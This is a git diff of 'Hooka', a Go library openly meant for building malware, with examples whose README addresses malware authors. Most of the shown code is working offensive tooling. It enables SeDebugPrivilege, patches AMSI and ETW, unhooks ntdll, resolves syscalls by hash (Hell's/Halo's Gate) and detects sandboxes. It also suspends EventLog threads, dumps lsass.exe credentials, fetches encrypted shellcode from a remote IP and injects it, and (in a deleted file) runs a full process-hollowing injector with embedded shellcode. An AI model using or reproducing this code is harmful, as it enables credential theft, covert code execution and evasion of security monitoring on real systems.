+ lowPart uint32 // DWORD
+ highPart int32 // long
+ }
+
+ type LuidAndAttributes struct {
+ luid Luid // LUID
+ attributes uint32 // DWORD
+ }
+
+ type TokenPrivileges struct {
+ privilegeCount uint32 // DWORD
+ privileges [1]LuidAndAttributes
+ }
+
+ const SeDebugPrivilege = "SeDebugPrivilege"
+ const tokenAdjustPrivileges = 0x0020
+ const tokenQuery = 0x0008
+ var hToken uintptr
+
+ kernel32 := syscall.NewLazyDLL("kernel32.dll")
+ advapi32 := syscall.NewLazyDLL("advapi32.dll")
+
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ GetLastError := kernel32.NewProc("GetLastError")
+ OpenProcessToken := advapi32.NewProc("OpenProcessToken")
+ LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
+ AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
+
+ currentProcess, _, _ := GetCurrentProcess.Call()
+
+ result, _, err := OpenProcessToken.Call(
+ currentProcess,
+ tokenAdjustPrivileges|tokenQuery,
+ uintptr(unsafe.Pointer(&hToken)),
+ )
+
+ if result != 1 {
+ return err
+ }
+
+ var tkp TokenPrivileges
+
+ result, _, err = LookupPrivilegeValue.Call(
+ uintptr(0),
+ uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
+ uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
+ )
+
+ if result != 1 {
+ return err
+ }
+
+ const SePrivilegeEnabled uint32 = 0x00000002
+
+ tkp.privilegeCount = 1
+ tkp.privileges[0].attributes = SePrivilegeEnabled
+
+ result, _, err = AdjustTokenPrivileges.Call(
+ hToken,
+ 0,
+ uintptr(unsafe.Pointer(&tkp)),
+ 0,
+ uintptr(0),
+ 0,
+ )
+
+ if result != 1 {
+ return err
+ }
+
+ result, _, _ = GetLastError.Call()
+ if result != 0 {
+ return err
+ }
+
+ return nil
+}
+
diff --git a/examples/README.md b/examples/README.md
index 4f2dccc..e889047 100644
--- a/examples/README.md
+++ b/examples/README.md
@@ -1,6 +1,6 @@
# Library
-If you're looking to implement any function in your malware you can do it using the official package API. First of all download the package
+If you're looking to implement any function in your malware you can do it using the official package API. First of all you have to download the package
```sh
go get github.com/D3Ext/Hooka/pkg/hooka
@@ -15,7 +15,6 @@ package main
import (
"fmt"
"log"
-
"github.com/D3Ext/Hooka/pkg/hooka"
)
@@ -43,42 +42,31 @@ package main
import (
"fmt"
"log"
-
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
- // 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = NtCreateThread
- // it comes from: hooka.HashFromFunc("NtCreateThread")
+ // 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = Sha1(NtCreateThread)
- // Returns a pointer to function like NewProc()
- proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4")
+ // func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error)
+ NtCreateThread, _, err := hooka.GetFuncPtr("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
if err != nil {
log.Fatal(err)
}
- // Now use the procedure as loading it from dll
- r, err := hooka.Syscall(
- proc,
- arg1,
- arg2,
- arg3,
- arg4,
- )
-
- ...
+ // Now use the procedure as usually
+ NtCreateThread.Call(...)
}
```
-> Apply AMSI and ETW patch
+> Patch AMSI and ETW
```go
package main
import (
"fmt"
"log"
-
"github.com/D3Ext/Hooka/pkg/hooka"
)
@@ -106,7 +94,6 @@ package main
import (
"fmt"
"log"
-
"github.com/D3Ext/Hooka/pkg/hooka"
)
@@ -133,6 +120,54 @@ func main(){
}
```
+> Get syscall id using hashing
+```go
+package main
+
+import (
+ "fmt"
+ "log"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ //func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error)
+ NtCreateThread, err := hooka.GetSysIdHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ r, err := hooka.Syscall(NtCreateThread, ...)
+ if err != nil {
+ log.Fatal(err)
+ }
+}
+```
+
+> Get syscall id using hashing combined with Hell's Gate + Halo's Gate
+```go
+package main
+
+import (
+ "fmt"
+ "log"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ //func GetSysIdHashHalos(hash string, dll string, hashing_func func(str string) string) (uint16, string, error)
+ NtCreateThread, err := hooka.GetSysIdHashHalos("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ r, err := hooka.Syscall(NtCreateThread, ...)
+ if err != nil {
+ log.Fatal(err)
+ }
+}
+```
+
> Use shellcode injection techniques
```go
package main
@@ -140,26 +175,20 @@ package main
import (
"fmt"
"log"
-
"github.com/D3Ext/Hooka/pkg/hooka"
)
var calc_shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
func main(){
- err := hooka.CreateRemoteThread(calc_shellcode)
+ // func CreateRemoteThread(shellcode []byte, pid int) error
+ // specify the shellcode and the PID to inject the shellcode in. Use 0 as PID to inject in current process
+ err := hooka.CreateRemoteThread(calc_shellcode, 0)
if err != nil {
log.Fatal(err)
}
+
fmt.Println("Shellcode injected via CreateRemoteThread")
-
- err = hooka.CreateProcess(calc_shellcode)
- if err != nil {
- log.Fatal(err)
- }
- fmt.Println("Shellcode injected via CreateProcess")
-
- ...
}
```
@@ -175,20 +204,21 @@ import (
)
func main(){
- // Use classic technique
- err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
+ // this function unhooks given functions of especified dll using classic unhooking technique
+ // func ClassicUnhook(funcnames []string, dllpath string) error
+ err := hooka.ClassicUnhook([]string{"NtCreateThreadEx", "NtOpenProcess"}, "C:\\Windows\\System32\\ntdll.dll")
if err != nil {
log.Fatal(err)
}
- // This technique loads original ntdll.dll from disk into memory to restore all functions
- err = hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
+ // unhook all functions from every dll of a slice
+ err = hooka.FullUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"})
if err != nil {
log.Fatal(err)
}
- // Use modern Perun's Fart technique
- err = hooka.PerunsUnhook()
+ // get a clean copy of every DLL from a suspended process (e.g. notepad.exe) and copy the clean DLL to th the current process
+ err = hooka.PerunsUnhook([]string{"C:\\Windows\\System32\\ntdll.dll", "C:\\Windows\\System32\\kernelbase.dll"})
if err != nil {
log.Fatal(err)
}
@@ -197,25 +227,129 @@ func main(){
}
```
-> Get function pointer
+> Enable ACG on current process
```go
package main
import (
- "fmt"
"log"
-
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
- ptr, err := hooka.GetFuncPtr("NtCreateThread")
+ err := hooka.EnableACG()
+ if err != nil {
+ log.Fatal(err)
+ }
+}
+```
+
+> Block non-Microsoft signed DLLs on current process (BlockDLLs)
+```go
+package main
+
+import (
+ "log"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ err := hooka.BlockDLLs()
+ if err != nil {
+ log.Fatal(err)
+ }
+}
+```
+
+> Create process with BlockDLLs enabled
+```go
+package main
+
+import (
+ "log"
+ "fmt"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ // launch a program (e.g. notepad.exe) with BlockDLLs enabled
+ err := hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe")
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println("Process launched!")
+}
+```
+
+> Detect sandbox using multiple techniques (see `evasion/sandbox` for specific functions)
+```go
+package main
+
+import (
+ "log"
+ "fmt"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ check, err := hooka.AutoCheck()
if err != nil {
log.Fatal(err)
}
- fmt.Println(ptr)
+ if check {
+ fmt.Println("Sandbox detected!")
+ os.Exit(0)
+ }
+
+ fmt.Println("Probably not a sandbox")
+}
+```
+
+> Suspend EventLog threads (Phant0m technique)
+```go
+package main
+
+import (
+ "log"
+ "fmt"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ pid, err := hooka.GetEventLogPid()
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ err = hooka.Phant0m(pid)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Println("Success!")
+}
+```
+
+> Dump lsass.exe to a file
+```go
+package main
+
+import (
+ "log"
+ "fmt"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ err := hooka.DumpLsass("dump_file")
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println("lsass.exe dumped to a file")
}
```
+
+
diff --git a/examples/api-hashing.go b/examples/api-hashing.go
index 35e30c5..214d615 100644
--- a/examples/api-hashing.go
+++ b/examples/api-hashing.go
@@ -7,8 +7,8 @@ import (
"log"
)
-// Convert string to Sha1 (used for hashing)
-func StrToSha1(str string) string {
+// Convert string to SHA1 (used for hashing)
+func Sha1(str string) string {
h := sha1.New()
h.Write([]byte(str))
bs := h.Sum(nil)
@@ -17,12 +17,13 @@ func StrToSha1(str string) string {
}
func main() {
- hash := "6caed95840c323932b680d07df0a1bce28a89d1c" // StrToSha1("NtWriteVirtualMemory")
+ hash := "b4de6817d3b22d785568d6480b613c4b2520729a" // Sha1("GetCurrentProcess")
- sysid, str, err := hooka.FuncFromHash(hash, "C:\\Windows\\System32\\ntdll.dll", StrToSha1)
+ GetCurrentProcess, _, err := hooka.GetFuncPtr(hash, "C:\\Windows\\System32\\kernel32.dll", Sha1)
if err != nil {
log.Fatal(err)
}
- fmt.Printf("%s - %x\n", str, sysid)
+ pHandle, _, _ := GetCurrentProcess.Call()
+ fmt.Println("[+] Current process:", pHandle)
}
diff --git a/examples/blockdlls.go b/examples/blockdlls.go
new file mode 100644
index 0000000..8997056
--- /dev/null
+++ b/examples/blockdlls.go
@@ -0,0 +1,28 @@
+package main
+
+import (
+ "fmt"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+ "log"
+ "time"
+)
+
+func main() {
+ fmt.Println("[*] Enabling BlockDLLs on current process...")
+ err := hooka.BlockDLLs()
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println("[+] Now non-Microsoft signed DLLs can't inject into this process")
+
+ fmt.Println("[*] Creating a notepad.exe process with BlockDLLs enabled...")
+ err = hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe")
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println("[+] Process created successfully")
+
+ time.Sleep(1000 * time.Second)
+
+ // Do some other stuff
+}
diff --git a/examples/dump-lssas.go b/examples/dump-lssas.go
new file mode 100644
index 0000000..26b0643
--- /dev/null
+++ b/examples/dump-lssas.go
@@ -0,0 +1,38 @@
+package main
+
+import (
+ "fmt"
+ "log"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+// this is an example of a program to dump the LSASS.EXE process using evasion techniques
+func main(){
+ fmt.Println("[*] Sleeping")
+ hooka.Sleep()
+
+ fmt.Println("[*] Patching ETW")
+ err := hooka.PatchEtw()
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Println("[*] Unhooking ntdll.dll")
+ err = hooka.PerunsUnhook()
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Println("[*] Sleeping")
+ hooka.Sleep()
+
+ fmt.Println("[*] Dumping lsass.exe process")
+ err = hooka.DumpLsass("dump.tmpº")
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Println("[+] Success!")
+}
+
+
diff --git a/examples/enable-acg-guard.go b/examples/enable-acg-guard.go
index 1816851..8f31d94 100644
--- a/examples/enable-acg-guard.go
+++ b/examples/enable-acg-guard.go
@@ -15,4 +15,6 @@ func main() {
fmt.Println("ACG Guard enabled!")
time.Sleep(1000 * time.Second)
+
+ // Do some other stuff
}
diff --git a/examples/halos-gate.go b/examples/halos-gate.go
index 2e64c56..ad6db83 100644
--- a/examples/halos-gate.go
+++ b/examples/halos-gate.go
@@ -23,25 +23,25 @@ func StrToSha1(str string) string {
func main() {
// 04262a7943514ab931287729e862ca663d81f515 --> StrToSha1("NtAllocateVirtualMemory")
- NtAllocateVirtualMemory, _, err := hooka.HalosFuncFromHash("04262a7943514ab931287729e862ca663d81f515", StrToSha1)
+ NtAllocateVirtualMemory, _, err := hooka.GetSysIdHashHalos("04262a7943514ab931287729e862ca663d81f515", StrToSha1)
if err != nil {
log.Fatal(err)
}
// 6caed95840c323932b680d07df0a1bce28a89d1c --> StrToSha1("NtWriteVirtualMemory")
- NtWriteVirtualMemory, _, err := hooka.HalosFuncFromHash("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1)
+ NtWriteVirtualMemory, _, err := hooka.GetSysIdHashHalos("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1)
if err != nil {
log.Fatal(err)
}
// 059637f5757d91ad1bc91215f73ab6037db6fe59 --> StrToSha1("NtProtectVirtualMemory")
- NtProtectVirtualMemory, _, err := hooka.HalosFuncFromHash("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1)
+ NtProtectVirtualMemory, _, err := hooka.GetSysIdHashHalos("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1)
if err != nil {
log.Fatal(err)
}
// 91958a615f982790029f18c9cdb6d7f7e02d396f --> StrToSha1("NtCreateThreadEx")
- NtCreateThreadEx, _, err := hooka.HalosFuncFromHash("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1)
+ NtCreateThreadEx, _, err := hooka.GetSysIdHashHalos("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1)
if err != nil {
log.Fatal(err)
}
diff --git a/examples/no-rwx.go b/examples/no-rwx.go
deleted file mode 100644
index 227cd3a..0000000
--- a/examples/no-rwx.go
+++ /dev/null
@@ -1,231 +0,0 @@
-package main
-
-import (
- "encoding/binary"
- "fmt"
- "golang.org/x/sys/windows"
- "log"
- "syscall"
- "unsafe"
-)
-
-type IMAGE_DOS_HEADER struct { // DOS .EXE header
- /*E_magic uint16 // Magic number
- E_cblp uint16 // Bytes on last page of file
- E_cp uint16 // Pages in file
- E_crlc uint16 // Relocations
- E_cparhdr uint16 // Size of header in paragraphs
- E_minalloc uint16 // Minimum extra paragraphs needed
- E_maxalloc uint16 // Maximum extra paragraphs needed
- E_ss uint16 // Initial (relative) SS value
- E_sp uint16 // Initial SP value
- E_csum uint16 // Checksum
- E_ip uint16 // Initial IP value
- E_cs uint16 // Initial (relative) CS value
- E_lfarlc uint16 // File address of relocation table
- E_ovno uint16 // Overlay number
- E_res [4]uint16 // Reserved words
- E_oemid uint16 // OEM identifier (for E_oeminfo)
- E_oeminfo uint16 // OEM information; E_oemid specific
- E_res2 [10]uint16 // Reserved words*/
- E_lfanew uint32 // File address of new exe header
-}
-
-type IMAGE_NT_HEADER struct {
- Signature uint32
- FileHeader IMAGE_FILE_HEADER
- OptionalHeader IMAGE_OPTIONAL_HEADER
-}
-
-type IMAGE_FILE_HEADER struct {
- Machine uint16
- NumberOfSections uint16
- TimeDateStamp uint32
- PointerToSymbolTable uint32
- NumberOfSymbols uint32
- SizeOfOptionalHeader uint16
- Characteristics uint16
-}
-
-type IMAGE_OPTIONAL_HEADER struct {
- Magic uint16
- MajorLinkerVersion uint8
- MinorLinkerVersion uint8
- SizeOfCode uint32
- SizeOfInitializedData uint32
- SizeOfUninitializedData uint32
- AddressOfEntryPoint uint32
- BaseOfCode uint32
- ImageBase uint64
- SectionAlignment uint32
- FileAlignment uint32
- MajorOperatingSystemVersion uint16
- MinorOperatingSystemVersion uint16
- MajorImageVersion uint16
- MinorImageVersion uint16
- MajorSubsystemVersion uint16
- MinorSubsystemVersion uint16
- Win32VersionValue uint32
- SizeOfImage uint32
- SizeOfHeaders uint32
- CheckSum uint32
- Subsystem uint16
- DllCharacteristics uint16
- SizeOfStackReserve uint64
- SizeOfStackCommit uint64
- SizeOfHeapReserve uint64
- SizeOfHeapCommit uint64
- LoaderFlags uint32
- NumberOfRvaAndSizes uint32
- DataDirectory [16]IMAGE_DATA_DIRECTORY
-}
-
-type IMAGE_DATA_DIRECTORY struct {
- VirtualAddress uint32
- Size uint32
-}
-
-var calc_shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
-
-func main() {
- // Load DLLs
- kernel32 := windows.NewLazyDLL("kernel32.dll")
- ntdll := windows.NewLazyDLL("ntdll.dll")
-
- // Declare functions that will be used
- ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
- WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
- ResumeThread := kernel32.NewProc("ResumeThread")
- NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
-
- var info int32
- var returnLength int32
-
- var pbi windows.PROCESS_BASIC_INFORMATION
- var si windows.StartupInfo
- var pi windows.ProcessInformation
-
- /*
- BOOL CreateProcessA(
- [in, optional] LPCSTR lpApplicationName,
- [in, out, optional] LPSTR lpCommandLine,
- [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
- [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
- [in] BOOL bInheritHandles,
- [in] DWORD dwCreationFlags,
- [in, optional] LPVOID lpEnvironment,
- [in, optional] LPCSTR lpCurrentDirectory,
- [in] LPSTARTUPINFOA lpStartupInfo,
- [out] LPPROCESS_INFORMATION lpProcessInformation
- );
- */
-
- fmt.Println("[*] Calling CreateProcess...")
- err := windows.CreateProcess(
- nil,
- syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
- nil,
- nil,
- false,
- windows.CREATE_SUSPENDED,
- nil,
- nil,
- &si,
- &pi,
- )
- if err != nil {
- log.Fatal(err)
- }
-
- /*
- __kernel_entry NTSTATUS NtQueryInformationProcess(
- [in] HANDLE ProcessHandle,
- [in] PROCESSINFOCLASS ProcessInformationClass,
- [out] PVOID ProcessInformation,
- [in] ULONG ProcessInformationLength,
- [out, optional] PULONG ReturnLength
- );
- */
-
- fmt.Println("[*] Calling NtQueryInformationProcess...")
- NtQueryInformationProcess.Call(
- uintptr(pi.Process),
- uintptr(info),
- uintptr(unsafe.Pointer(&pbi)),
- uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
- uintptr(unsafe.Pointer(&returnLength)),
- )
-
- pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
- var imageBase uintptr = 0
-
- /*
- BOOL ReadProcessMemory(
- [in] HANDLE hProcess,
- [in] LPCVOID lpBaseAddress,
- [out] LPVOID lpBuffer,
- [in] SIZE_T nSize,
- [out] SIZE_T *lpNumberOfBytesRead
- );
- */
-
- fmt.Println("[*] Calling ReadProcessMemory...")
- ReadProcessMemory.Call(
- uintptr(pi.Process),
- pebOffset,
- uintptr(unsafe.Pointer(&imageBase)),
- 8,
- 0,
- )
-
- headersBuffer := make([]byte, 4096)
-
- fmt.Println("[*] Calling ReadProcessMemory...")
- ReadProcessMemory.Call(
- uintptr(pi.Process),
- uintptr(imageBase),
- uintptr(unsafe.Pointer(&headersBuffer[0])),
- 4096,
- 0,
- )
-
- fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
- fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
-
- // Parse DOS header e_lfanew entry to calculate entry point address
- var dosHeader IMAGE_DOS_HEADER
- dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
- ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
- codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
-
- /*
- BOOL WriteProcessMemory(
- [in] HANDLE hProcess,
- [in] LPVOID lpBaseAddress,
- [in] LPCVOID lpBuffer,
- [in] SIZE_T nSize,
- [out] SIZE_T *lpNumberOfBytesWritten
- );
- */
-
- fmt.Println("\n[*] Calling WriteProcessMemory...")
- WriteProcessMemory.Call(
- uintptr(pi.Process),
- codeEntry, // write shellcode to entry point
- uintptr(unsafe.Pointer(&calc_shellcode[0])),
- uintptr(len(calc_shellcode)),
- 0,
- )
-
- /*
- DWORD ResumeThread(
- [in] HANDLE hThread
- );
- */
-
- fmt.Println("[*] Calling ResumeThread...") // finally resume thread
- ResumeThread.Call(uintptr(pi.Thread))
-
- // shellcode should have been executed at this point
- fmt.Println("[+] Shellcode executed!")
-}
diff --git a/examples/sandbox.go b/examples/sandbox.go
new file mode 100644
index 0000000..ea6dbda
--- /dev/null
+++ b/examples/sandbox.go
@@ -0,0 +1,22 @@
+package main
+
+import (
+ "fmt"
+ "log"
+ "github.com/D3Ext/Hooka/pkg/hooka"
+)
+
+func main(){
+ check, err := hooka.AutoCheck()
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ if (check == true) {
+ fmt.Println("Probably a sandbox")
+ return
+ }
+
+ fmt.Println("Not a sandbox")
+}
+
diff --git a/examples/shellcode-loader.go b/examples/shellcode-loader.go
index 0eaeeff..8510f3d 100644
--- a/examples/shellcode-loader.go
+++ b/examples/shellcode-loader.go
@@ -16,6 +16,7 @@ func main() {
}
fmt.Println("[*] Retrieving encrypted shellcode...")
+
// retrieve encrypted shellcode from remote url
enc_shellcode, err := hooka.GetShellcodeFromUrl("http://192.168.116.128/shellcode.enc")
if err != nil {
@@ -30,12 +31,6 @@ func main() {
}
fmt.Println(shellcode)
- fmt.Println("[*] Injecting shellcode...")
- err = hooka.CreateRemoteThreadHalos(shellcode)
- if err != nil {
- log.Fatal(err)
- }
-
fmt.Println("[*] Enabling ACG...")
// enable ACG (useful if process doesn't exits after this)
err = hooka.EnableACG()
@@ -43,4 +38,11 @@ func main() {
log.Fatal(err)
}
+ fmt.Println("[*] Injecting shellcode...")
+ err = hooka.NtCreateThreadExHalos(shellcode)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Println("[+] Success!")
}
diff --git a/examples/kill-event-log.go b/examples/suspend-event-log.go
similarity index 87%
rename from examples/kill-event-log.go
rename to examples/suspend-event-log.go
index f128ad3..99b250a 100644
--- a/examples/kill-event-log.go
+++ b/examples/suspend-event-log.go
@@ -14,10 +14,11 @@ func main() {
}
fmt.Println("[+] Event Log PID:", eventlog_pid)
- fmt.Println("[*] Killing Event Log threads...")
+ fmt.Println("[*] Suspending EventLog threads...")
err = hooka.Phant0m(eventlog_pid)
if err != nil {
log.Fatal(err)
}
+
fmt.Println("[+] Success!")
}
diff --git a/go.mod b/go.mod
index ba7a265..addc1c8 100644
--- a/go.mod
+++ b/go.mod
@@ -4,23 +4,18 @@ go 1.19
require (
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
+ github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c
github.com/D3Ext/maldev v0.1.4
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4
github.com/google/uuid v1.3.1
- golang.org/x/sys v0.12.0
+ golang.org/x/sys v0.15.0
)
require (
github.com/alwindoss/morse v1.0.1 // indirect
- github.com/briandowns/spinner v1.23.0 // indirect
- github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect
github.com/ecies/go/v2 v2.0.4 // indirect
github.com/ethereum/go-ethereum v1.10.17 // indirect
- github.com/fatih/color v1.15.0 // indirect
- github.com/mattn/go-colorable v0.1.13 // indirect
- github.com/mattn/go-isatty v0.0.18 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
golang.org/x/crypto v0.4.0 // indirect
- golang.org/x/term v0.8.0 // indirect
)
diff --git a/go.sum b/go.sum
index da25fb5..8c89724 100644
--- a/go.sum
+++ b/go.sum
@@ -21,8 +21,11 @@ dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7
github.com/Azure/azure-sdk-for-go/sdk/azcore v0.21.1/go.mod h1:fBF9PQNqB8scdgpZ3ufzaLntG0AG7C1WjPMsiFOmfHM=
github.com/Azure/azure-sdk-for-go/sdk/internal v0.8.3/go.mod h1:KLF4gFr6DcKFZwSuH8w8yEK6DpFl3LP5rhdvAb7Yz5I=
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.3.0/go.mod h1:tPaiy8S5bQ+S5sOiDlINkp7+Ef339+Nz5L5XO+cnOHo=
+github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
+github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c h1:cFMQKxryHZ3Sddca8nqJ1RDjaUTW/+79lRKs+7508nk=
+github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/D3Ext/maldev v0.1.4 h1:uQSxX5XKp//HTCmO8SStOO1P9Ia1MiIvWjohWlOLIvE=
@@ -32,6 +35,7 @@ github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAE
github.com/StackExchange/wmi v0.0.0-20180116203802-5d049714c4a6/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg=
github.com/VictoriaMetrics/fastcache v1.6.0/go.mod h1:0qHz5QP0GMX4pfmMA/zt5RgfNuXJrTP0zS7DqpHGGTw=
github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw=
+github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156/go.mod h1:Cb/ax3seSYIx7SuZdm2G2xzfwmv3TPSk2ucNfQESPXM=
@@ -54,8 +58,6 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
